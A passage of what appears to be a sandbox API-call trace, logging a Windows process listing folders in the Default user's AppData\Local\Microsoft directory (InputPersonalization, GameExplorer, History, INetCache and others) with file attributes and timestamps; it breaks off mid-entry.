[0219.290] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization", nBufferLength=0x105, lpBuffer=0x1db9cb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization", lpFilePart=0x0) returned 0x3d [0219.290] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\inputpersonalization\\*"), lpFindFileData=0x1db9cd80 | out: lpFindFileData=0x1db9cd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ec87d0d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0219.290] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ec87d0d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.290] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ec87d0d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrainedDataStore", cAlternateFileName="TRAINE~1")) returned 1 [0219.290] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.290] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0219.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9cfa0) returned 1 [0219.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9cf60) returned 1 [0219.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9c8b0) returned 1 [0219.291] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore", nBufferLength=0x105, lpBuffer=0x1db9c390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore", lpFilePart=0x0) returned 0x4e [0219.291] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\inputpersonalization\\traineddatastore\\*"), lpFindFileData=0x1db9c5c0 | out: lpFindFileData=0x1db9c5c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ec87d0d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0219.291] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ec87d0d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.291] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ec87d0d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.291] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0219.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7e0) returned 1 [0219.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7a0) returned 1 [0219.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9c8b0) returned 1 [0219.292] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore", nBufferLength=0x105, lpBuffer=0x1db9c390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore", lpFilePart=0x0) returned 0x4e [0219.292] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\inputpersonalization\\traineddatastore\\*"), lpFindFileData=0x1db9c5c0 | out: lpFindFileData=0x1db9c5c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ec87d0d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0219.292] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ec87d0d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.292] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ec87d0d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0x6ec87d0d, ftLastAccessTime.dwHighDateTime=0x1d112f2, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.292] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0219.293] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7e0) returned 1 [0219.293] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7a0) returned 1 [0219.293] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d070) returned 1 [0219.293] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows", nBufferLength=0x105, lpBuffer=0x1db9cb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows", lpFilePart=0x0) returned 0x30 [0219.293] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\*"), lpFindFileData=0x1db9cd80 | out: lpFindFileData=0x1db9cd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0219.295] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.295] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameExplorer", cAlternateFileName="GAMEEX~1")) returned 1 [0219.295] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0219.295] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0219.295] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0219.296] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3757c8c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3757c8c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shell", cAlternateFileName="")) returned 1 [0219.296] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0219.296] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WinX", cAlternateFileName="")) returned 1 [0219.296] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WinX", cAlternateFileName="")) returned 0 [0219.296] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0219.297] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9cfa0) returned 1 [0219.297] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9cf60) returned 1 [0219.297] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d070) returned 1 [0219.297] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows", nBufferLength=0x105, lpBuffer=0x1db9cb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows", lpFilePart=0x0) returned 0x30 [0219.297] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\*"), lpFindFileData=0x1db9cd80 | out: lpFindFileData=0x1db9cd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0219.298] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.299] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameExplorer", cAlternateFileName="GAMEEX~1")) returned 1 [0219.299] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0219.299] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0219.299] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0219.299] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3757c8c, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3757c8c, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shell", cAlternateFileName="")) returned 1 [0219.299] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0219.299] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinX", cAlternateFileName="")) returned 1 [0219.300] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.300] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0219.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9cfa0) returned 1 [0219.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9cf60) returned 1 [0219.301] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9c8b0) returned 1 [0219.301] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\GameExplorer", nBufferLength=0x105, lpBuffer=0x1db9c390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\GameExplorer", lpFilePart=0x0) returned 0x3d [0219.301] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\GameExplorer\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\gameexplorer\\*"), lpFindFileData=0x1db9c5c0 | out: lpFindFileData=0x1db9c5c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0219.302] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.303] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.303] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0219.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7e0) returned 1 [0219.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7a0) returned 1 [0219.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9c8b0) returned 1 [0219.303] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\GameExplorer", nBufferLength=0x105, lpBuffer=0x1db9c390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\GameExplorer", lpFilePart=0x0) returned 0x3d [0219.303] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\GameExplorer\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\gameexplorer\\*"), lpFindFileData=0x1db9c5c0 | out: lpFindFileData=0x1db9c5c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0219.303] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.455] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.456] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0219.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7e0) returned 1 [0219.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7a0) returned 1 [0219.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9c8b0) returned 1 [0219.456] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History", nBufferLength=0x105, lpBuffer=0x1db9c390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History", lpFilePart=0x0) returned 0x38 [0219.456] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\history\\*"), lpFindFileData=0x1db9c5c0 | out: lpFindFileData=0x1db9c5c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, 